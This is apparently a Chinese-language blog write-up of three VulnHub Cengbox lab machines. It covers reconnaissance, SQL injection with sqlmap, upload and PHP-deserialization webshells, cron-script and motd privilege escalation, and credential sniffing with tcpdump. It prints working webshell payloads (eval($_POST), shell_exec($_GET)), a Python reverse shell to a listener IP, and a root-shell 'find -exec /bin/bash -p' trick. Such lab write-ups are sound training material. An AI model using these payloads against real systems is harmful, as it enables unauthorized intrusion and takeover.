vulnhub-Cengbox系列

cengbox1

信息搜集

其他几个没啥,masteradmin提示forbidden,猜想可能是个目录,加上继续扫

sql注入得到管理员密码

一个登录和上传页面,上传页面需要登录才能打开

老规矩抓包弱密码万能密码sql注入一套走,回首一看xray扫到了

那么sqlmap一把梭

image-20210101142024107

登录跳转到上传页面

image-20210101142140919

Getshell

上传文件类型必须是CENG

image-20210101142752511

该后缀访问上传文件,试了下居然直接解析了?(人间疑惑)

查看home目录得知有个cengover用户

masteradmin目录下找到数据库文件,得到数据库用户名密码

尝试连接数据库失败

image-20210101145858921

想到cengover用户会不会用的是登录页面一样的密码,尝试ssh连接

image-20210101150234186

提权

user.txt貌似是一串md5没撞出来

找下特权文件,无果,查看定时任务无果,查看端口监听无果

/var/opt目录下找到md5check.py

image-20210101151224495

通过对比文件md5校验值判断/etc/passwd是否被修改,并将记录写入root下的note和warning文件,那么可以知道这个脚本必定是添加到了定时任务的

并且这个文件是用户可写的

image-20210101153956748

上传pspy查看进程变化,发现确实是自动执行

image-20210101153822247

那么直接修改文件内容反弹shell

image-20210101160246798

完成

image-20210101160215750

Cengbox2

信息搜集

Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-01 21:08 EST
Nmap scan report for 192.168.93.133
Host is up (0.00039s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             209 May 23  2020 note.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.93.131
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:99:9d:e0:bc:07:3c:4f:53:e5:bc:27:35:80:e4:9e (RSA)
|   256 fe:60:a1:10:90:98:8e:b0:82:02:3b:40:bc:df:66:f1 (ECDSA)
|_  256 3a:c3:a0:e7:bd:20:ca:1e:71:d4:3c:12:23:af:6a:c3 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site Maintenance
MAC Address: 00:0C:29:F7:F0:CE (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.39 ms 192.168.93.133

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.84 seconds

可以看到ftp用户可以登录,目录下有个note,txt

下载查看

说是部署了面板并且用的是默认密码,可能可以登录,访问web服务

扫目录没啥发现,回头再看看note,第二段说把网站移到了一个新的域名ceng-company.vm,重定向?,修改hosts文件试试

看看有没啥变化

web服务依旧没变,目录也还是啥都没有,但注意到ceng-comany.vm是一级域名,那会不会有子域名呢

用subDomainsBrute跑一跑,也要再修改一下host,但是hosts文件不支持通配符,就只能挨个试了

结果admin提示403,感觉有戏,目录扫一波,还是啥都没有,换个dirbuster的字典,终于扫到个gila

后台getshell

访问是个cms

admin直接跳转到后台,需要管理员邮箱和密码

之前说是用了默认密码,github看看

登录失败,试试加上note.txt的人名Kevin@mail.com,还是失败,偷瞄wp,好吧道行不够

Kevin@ceng-company.vm|admin成功登录

得知版本号是1.10.9,搜下版本有没啥漏洞

有个目录遍历

注意到这里有个上传功能,那么生成木马上传尝试getshell

主目录上传没动静,themes目录上传成功但访问不了,src目录可以访问

但403

猜测是.htaccess做了限制

改下就成,连接shell

提权

home目录下有两个用户

查看sudo权限,swartz用户可以运行runphp.sh

查看内容

那好办,直接运行然后system获取swartz的shell

好吧这个weevely的temainal不行,弹到其他地方试试

继续找突破口,发现能进入mitnick用户家目录,目录下有个user.txt

但是没有权限查看

爆破id_rsa登录ssh

同目录下有ssh

把id_rsa传到本机试着用john破解ssh密码

得到密码legend

利用id_rsa登录,提示文件权限太大

chmod修改文件权限再登录

查看user.txt,一串字符串不知道有啥用

用户组内可写文件提权

查看特权文件无果,学到个新招查看用户组内可写文件,这里也就是developers组内可写文件

xxxxxxxxxxfind / -type f -perm -g+rwx 2>/dev/null

update-motd.d目录下存放的是登录信息文件,在每次ssh登录时自动执行,这里可以看到他们都是root权限,组内用户可写

那么修改一个文件往里面添加一个bash命令即可

这里选择给find命令加上特权,这样下次ssh登录时,find命令就会带有root权限,从而可以本地利用

重新登录

find特权命令提权

嗯。。。但是并没有root权限

挺神奇的是运行大佬wp的命令

xxxxxxxxxxfind . -exec /bin/bash -p \; 

又有了root权限

image-20210102161606633

嗯神奇的-p参数,以后得注意下

完成

Cengbox3

信息搜集

Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-02 20:52 EST
Nmap scan report for 192.168.93.134
Host is up (0.00037s latency).
Not shown: 997 filtered ports
PORT    STATE  SERVICE  VERSION
22/tcp  closed ssh
80/tcp  open   http     Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Agency
443/tcp open   ssl/http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Agency
| ssl-cert: Subject: commonName=ceng-company.vm/organizationName=Ceng Company/stateOrProvinceName=\xC3\x84Istanbul/countryName=TR
| Not valid before: 2020-09-24T14:25:07
|_Not valid after:  2021-09-24T14:25:07
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
MAC Address: 00:0C:29:20:D8:B7 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.37 ms 192.168.93.134

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.99 seconds

还是要hosts文件绑定一下ceng-company.vm

访问web服务一套模板但是啥都没有

瞄了眼wp又是绑定了子域名,dev.ceng-company.vm

sql注入后台登录

访问是个登录框

xray扫出注入

抓包sqlmap一把梭

php对象注入getshell

登录后台有个add poem的功能

随便提交一个可以观察到url

xxxxxxxxxxO:4:"Poem":3:{s:8:"poemName";s:3:"aaa";s:10:"isPoetrist";O:8:"poemFile":2:{s:8:"filename";s:22:"/var/www/html/poem.txt";s:8:"poemName";s:3:"aaa";}s:9:"poemLines";s:3:"aaa";}

通过字符串里的路径我们知道,生成的文件是存在于网站根目录里的

参数都可控,并且序列化字符串反序列化之后直接写入到了目标文件,那么直接构造即可

xxxxxxxxxxO:4:"Poem":3:{s:8:"poemName";s:3:"aba";s:10:"isPoetrist";O:8:"poemFile":2:{s:8:"filename";s:23:"/var/www/html/shell.php";s:8:"poemName";s:40:"<?php echo('shell is fine');phpinfo();?>";}s:9:"poemLines";s:3:"aba";}

重新传个连接木马连上getshell

xxxxxxxxxxO:4:"Poem":3:{s:8:"poemName";s:3:"ada";s:10:"isPoetrist";O:8:"poemFile":2:{s:8:"filename";s:24:"/var/www/html/shell1.php";s:8:"poemName";s:48:"<?php echo('shell is fine');eval($_POST['a']);?>";}s:9:"poemLines";s:3:"ada";}

监听本地流量获取ssh密码

只有个eric用户

pspy64查看发现定时执行/opt目录下的login.py

查看文件是否可写

啥权限都没,不过发现了另外两个文件

暂时没啥用

看wp又学到了小技巧,之前已经知道login.py会定时执行,那么必定存在登录的过程从而产生登录流量,那么我们可以抓取本地流量从而获取login.py中用来登录的密码

目标主机已经装了tcpdump

在tmp可写目录监听流量保存为文件,等待1-2分钟

xxxxxxxxxxtcpdump -i lo -w login.pcapng

找到密码3ricThompson*Covid19

提权

ssh连接不行,但是可以切换用户,好吧这也不行

补充一个小知识,当我们通过php或者python获取shell时,会话是没有分配一个pty的,因此我们需要创建一个pty

xxxxxxxxxxpython3 -c 'import pty; pty.spawn("/bin/sh")'

那么寻找提权

sudo组免密执行

check.sh和whatsmyip.py都不能修改

但login.py我们是可以修改,并且之前已经了解了是root权限的自动执行

那么直接修改login.py反弹一个shell即可,但这里有点问题,之前获取的shell无法用nano或者vim准确的修改文件,且极易退出shell

因此这里又学到一个小技巧

先利用下列php获取shell

xxxxxxxxxx<?php echo shell_exec($_GET['e'].' 2>&1'); ?>

这样可以直接执行e传入的命令,利用下列payload连接shell

xxxxxxxxxxpython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.93.129",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

在shell内输入

xxxxxxxxxxexport TERM=xterm

ctrl+z暂时退出

执行stty -a查看当前终端尺寸,并复制下来备用

xxxxxxxxxxstty rows 40 columns 157

执行

xxxxxxxxxxstty raw -echo;fg

继续连接了刚才的shell

输入reset重置窗口,再输入刚才复制的stty rows 40 columns 157

这样就可以方便的用nano或者vim编辑文件,而且不会习惯性的ctrl+z就会退出shell了

将payload用nano编译保存,等待login.py执行

成功反弹shell并且是root权限

完成

发表评论